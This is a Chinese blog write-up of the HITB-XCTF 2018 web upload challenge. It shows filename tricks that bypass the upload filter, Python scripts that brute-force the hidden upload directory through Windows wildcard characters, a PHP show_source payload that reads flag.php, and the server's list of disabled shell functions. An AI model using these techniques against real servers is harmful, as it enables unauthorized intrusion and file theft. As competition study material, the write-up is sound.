HITB-XCTF 2018 Web upload writeup

 Qiqi's Blog     2018-04-27   1920 words    & views

HITB-XCTF 2018 Web upload writeup

只想说自己也是菜到一定境界了,啥也不会,全靠师傅们带飞,没有师傅们的思路,这题我肯定是无法当场复现了

这是一道文件上传

如果上传.php的文件,就会返回no no no…

如果上传.jpg的文件,就能成功上传并返回文件名,例如1523666237.jpg

右键查看源代码,发现了一行注释<!--pic.php?filename=default.jpg-->

于是我们去访问47.90.97.18:9999/pic.php?filename=default.jpg

返回了图片的宽和高,访问我们自己上传的图片也一样

现在我们要上传一个php文件

这里我们有很多种绕过方式,比如1.php+空格,或者1.php::$DATA都可以成功上传php文件

抓包修改文件名,成功上传php文件1523668693.php

现在我们访问47.90.97.18:9999/pic.php?filename=1523668693.php

页面返回image error

看来这个页面并不能读取到我们上传的php文件

不管能否解析,我们都先得找到文件上传的目录

尝试利用通配符

成功了,说明可以爆破

经过进一步尝试,感觉像是串md5

于是改进代码如下:

import requests

url = "http://47.90.97.18:9999/pic.php?filename=../{}%3C/1523452862.jpg"
strs = "abcdef0123456789"
get = ""
for j in xrange(32):
    for i in strs:
        tmpurl = url.format(get + i)
        print tmpurl
        if 'image error' not in requests.get(tmpurl).content:
            get += i
            print '[+]' + get
            break

运行一下得到目录:87194f13726af7cee27ba2cfe97b60df

我们现在去访问http://47.90.97.18:9999/87194f13726af7cee27ba2cfe97b60df/1523668693.php

发现我们上传的php文件代码被成功解析(撒花~~)

我们去看一下disable_functions

assert,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen

这么多函数都被禁了,但是我们发现echo没有被禁

尝试了各种方法来命令执行,可是都不成立

所以还是拿去扫了一下目录,看到flag.php

然后我们用show_source()或者highlight_file()函数查看一下源代码

Payload:

<?php
echo show_source('../flag.php');
?>

访问上传的文件,获得flag

附上看wp时看到的别人写的一个脚本

import requests
import string
sess = requests.session()

name = ''
while True:
    print(name)
    for i in string.digits + string.ascii_letters:
        guess = name + str(i)
        if 'image error' not in sess.get('http://47.90.97.18:9999/pic.php?filename=../' + guess + '%3C/1523462240.jpg').text:
            name += str(i)
            break

参考:http://www.madchat.fr/coding/php/secu/onsec.whitepaper-02.eng.pdf

>会被替换成?,也就是单一字元,<会被替换成*,也就是任意长度字元,"会被替换成a.